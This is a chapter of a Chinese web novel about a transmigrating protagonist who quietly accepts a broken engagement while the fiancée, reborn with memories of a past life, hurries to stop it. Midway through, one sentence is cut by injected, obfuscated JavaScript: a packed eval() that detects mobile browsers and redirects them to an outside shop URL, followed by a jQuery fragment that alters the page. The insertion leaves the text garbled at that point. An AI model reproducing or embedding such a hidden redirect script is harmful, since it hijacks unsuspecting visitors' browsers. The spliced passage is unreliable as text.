文竹擎着一封泥金小帖,笑吟吟掀帘进来。
“何事?”少爷声音温润,如春风拂过新茶。
“聂小姐遣人送来的帖子,说是请您明日一同赏春。”
刚穿越来就听到什么宴请,孟临渊下意识道,“你去回了吧。”
入眼的是桌上的一副笔墨,原主应该正于窗下临帖,惠风和畅将将写到畅字的扬钩。
她复又拈起那管紫毫,继续临摹起来。
文竹见此,虽有些讶异于少爷今日竟连聂家小姐的邀约都推了,却也不敢多问,只悄无声息地退了出去。
9413:「这个世界是度假任务哦,宿主好好休息一下。」
它将剧情和任务传送了过来。
原主谢倾容,誉满京华。
谢氏累世公卿,门第清贵,冠绝天下。而谢倾容,不仅容止出众,风姿特秀,见之者无不赞其朗朗如日月之入怀,更有内秀于心,才华横溢。
下帖子的那位聂小姐便是聂云珍,与谢倾容青梅竹马,自幼定下婚约。
后来聂云珍结识了靖王世子赵珩,一见倾心,非君不嫁。
那赵珩是京城出了名的高岭之花,容颜绝世,却冷峻疏离,令人难以接近。
聂云珍自此眼里心里再容不下旁人,回府便吵着闹着要与谢倾容退婚。
聂家父母自然不肯,谢家门第清贵,谢倾容本人更是人中龙凤。这婚约是多少人求都求不来的好姻缘。
聂云珍见父母不允,便去求她的兄长聂云深,聂云深素来宠溺妹妹,拗不过妹妹以死相逼,终究还是硬着头皮登了谢府的门,代为退婚。
谁知不过半日,聂云珍又亲自登门了。
她提着新做的糕点,笑靥如花地站在谢府门前,仿佛什么都不曾发生过。
谢倾容本不愿见她,奈何她执着地在府外等了半个时辰。终究是自幼一起长大的情分,他心软了。
聂云珍泪眼朦胧地解释,说退婚并非本意,说自己年少无知,想用此法试探谢倾容是否真的在乎她……
谢倾容与聂云珍自幼一同长大,情分非比寻常,见她说得恳切,便信了七八分,以为她只是一时糊涂,用了拙劣的方法引起自己注意。
毕竟来退婚的是聂云深并非聂家,不算正式。
他本性淡泊,于女色上并不留心,只觉得既是从小认定的妻子,知错能改便好,于是态度便缓和下来,两人恢复了往来。
直到一次诗会后的夜宴,聂云珍多饮了几杯,谢倾容送她回府。马车上,她醉眼朦胧,拉着谢倾容的衣袖,喃喃些“对不起”、“这一世定不负你”、“不能再选错了”之类的呓语。
谢倾容初时只当她醉话,温声安抚,但聂云珍话语中透出的绝望与悔恨,不似寻常。他心思缜密,循着那零星话语,几句看似不经意的引导,竟让半醉的聂云珍断断续续,将前尘往事和盘托出。
原来,她是重生的。
上一世,她毅然退婚嫁与赵珩,却并未得到期盼中的恩爱。赵珩始终冷淡,她空守着世子妃的名位,寂寞深闺。后来聂家遭人构陷,获罪下狱,她跪求赵珩相助,赵珩却只袖手旁观,只保下了她一人。
最后是谢倾容出手,各路奔走救下了聂家。
她眼睁睁看着父母家族凋零,自己则在悔恨与孤寂中了却残生。再睁眼,竟回到退婚之初。这一世,她决心嫁给谢倾容。
这下,局面变得微妙起来。
谢倾容这才恍然,为何聂云珍前后行为如此矛盾。得知真相的他,心中滋味复杂难言。一时间不知道怎么对待聂云珍。
偏偏这时候,赵珩原本对主动凑上来的聂云珍不甚在意,如今见她忽然冷淡下去,反而与谢倾容走的近了些,竟也开始对聂云珍有了些不同寻常的关注。
聂云珍顿时陷入了两难。毕竟赵珩是她的执念,上辈子她为了这个男人付出一切,只求博得他的关注,这一世他真的在意起了她,她怎能不触动。
聂云珍最后还是选了赵珩,她最后来找谢倾容,流泪朝他道歉。
谢倾容当晚梦到了前世的事情。
他上一世因着谢聂两家世交的情谊,为聂家奔走,救下聂家后,下定决心从此与聂家两不相欠,再不往来。
那时候他已经结了亲,不愿多沾染免得妻子多想。
他也没有和聂云珍再续前缘的想法。可重生打乱了这一切。
他用功德和时空局许愿,远离聂云珍。
现在的时间节点是聂云深前来退婚的前一周。这时候聂云珍还未遇到赵珩,与谢倾容也算得上朋友,他们两个从小一起长大,也经常一起出去玩。
孟临渊将字帖临摹完,也梳理清了记忆,「夏容与这一世是穿越到男的身上还是女的身上?」
9413:「因为这次任务比较特殊,所以他还飘着。宿主有要求吗?」
毕竟这是夏容与第一次碰到宿主穿越到男人身上。
孟临渊挑了挑眉,「每次穿越他不会还挑一下身份吧。」
9413想了想,「每个世界每天死的人还挺多的。」
言下之意就是确实有很大的挑人空间。
孟临渊沉默了一会,摆摆手,「那就女的吧。」
-
一周过后,聂云深果然来退婚了。
花厅里,聂云深坐立不安。见谢倾容进来,他慌忙起身:“倾容兄...”
“云深兄请坐。”孟临渊示意侍女看茶,姿态从容得让聂云深更加局促。
一阵客套后,聂云深把话题转向了婚约。
“云珍前日跪在父亲房外一整夜,说心中已有他人。”聂云深看着他,“我从小宠到大的妹妹,舍不得她受半分委屈。”
“我明白了。”孟临渊放下茶盏,“既然如此,便依聂小姐的意思吧。”
聂云深愣住:“倾容兄的意思是...”
“婚约作罢。”孟临渊微微一笑,“从此男婚女嫁,各不相干。”
聂云深万万没想到会如此顺利,准备好的说辞全无用武之地。
也是,谢倾容作为谢氏子弟,自有一番风骨,也不会在这种事上纠缠不休。
送走恍惚的聂云深,文竹忧心忡忡:“少爷,这婚约可是老太爷在世时定下的,就这么退了……老爷也不在……”
这也是聂云深敢上门的原因,他本就打算趁着谢景不在,和谢倾容把这件事定了,否则其他机会就难了。
纵然大周朝风尚开放些,但世家大族还是更注重父母之命,媒妁之言。
“强求无益。”孟临渊转身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773334|182219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
往书房走去,“父亲那边我自会应对。”
-
聂云珍猛地睁开眼,映入眼帘的是熟悉的绣缠枝莲纹的锦帐顶,以及她惯用的冷梅安神香气息。
这里是……她的闺房?
她不是已经死了吗?
“小姐,您醒了?”春桃听到动静,轻轻掀开帐幔,脸上带着欣喜,“您昨夜在老爷房外跪了许久,可把奴婢吓坏了,回来就发起了热,睡了整整一天呢!”
聂云珍怔怔地看着她年轻鲜活的脸庞,记忆如潮水般涌来。
是了,她为了求父亲同意她与谢倾容退婚,转而嫁给靖王世子赵珩,在父亲书房外跪了一夜。
父亲震怒,斥责她糊涂,母亲也只是垂泪,说她不懂事。
谢倾容……退婚……
她挣扎着坐起身,抓住春桃的手:“今日……今日是什么日子?兄长呢?”
“小姐您烧糊涂了?今日是初七啊。大少爷他……”春桃顿了顿,有些犹豫地低声道,“大少爷一早便出门了,说是说是应谢公子之邀,去谢府品茗赏画了。”
“品茗赏画?”聂云珍重复着这四个字。
不对!根本不是品茗赏画!
是退婚!是兄长替她去谢府退婚了!
她想起来了,上一世,就是在她跪求父亲无果后,转而哀求最疼爱她的兄长。兄长拗不过她的以死相逼,终究是带着婚书,硬着头皮去了谢府。
而此刻,兄长恐怕已经在谢府,正对着那个风光霁月的谢倾容,说出退婚的请求。
前世她如愿嫁给了赵珩,可等待她的不是举案齐眉,而是数不尽的冷遇和独守空闺的漫漫长夜。他待她相敬如宾,却从未真正的爱过她。
聂家蒙难,她跪在地上苦苦哀求他出手相助,他却只是淡漠地拂开她的手,说着朝堂之事,非他可涉,最终只保下了她这个世子妃。
是谢倾容。
是那个被她弃如敝履的谢倾容,在谢聂两家婚约已毁、毫无瓜葛的情况下,顶着压力,四处奔走,耗尽心力,才勉强保住了聂家满门不致覆灭。
而那时,她已嫁作他人妇,他亦另娶淑女,两人之间隔着再也无法逾越的鸿沟。
她只能在无尽的悔恨和旁人的议论中,看着他与她渐行渐远,看着他护着他的妻室,一生清贵荣华。
“不……不能退婚……”聂云珍脸色苍白。
她重生了,她竟然回到了决定命运的这一日。
这一世,她绝不能重蹈覆辙。赵珩是她求而不得的执念,是让她付出一切却落得凄惨收场的劫数,而谢倾容,才是那个真正能护她一世安稳,予她尊荣与温情的良人。
“快!替我梳妆!”聂云珍猛地掀开锦被,跌跌撞撞地下了床,“备车,去谢府!立刻就去!”
她要阻止兄长!她要挽回这一切!
谢倾容那样温柔,只要她好好解释,告诉他那只是一时糊涂,是年幼无知想试探他的心意……他一定会原谅她的。他们自幼一起长大,有那么深的情分在,他一定会心软的!
对,只要还来得及……
聂云珍看着镜中自己苍白却难掩绝色的容颜,眼中混合着悔恨、庆幸和势在必得。
这一世,她定要紧紧抓住谢倾容,绝不能再选错了!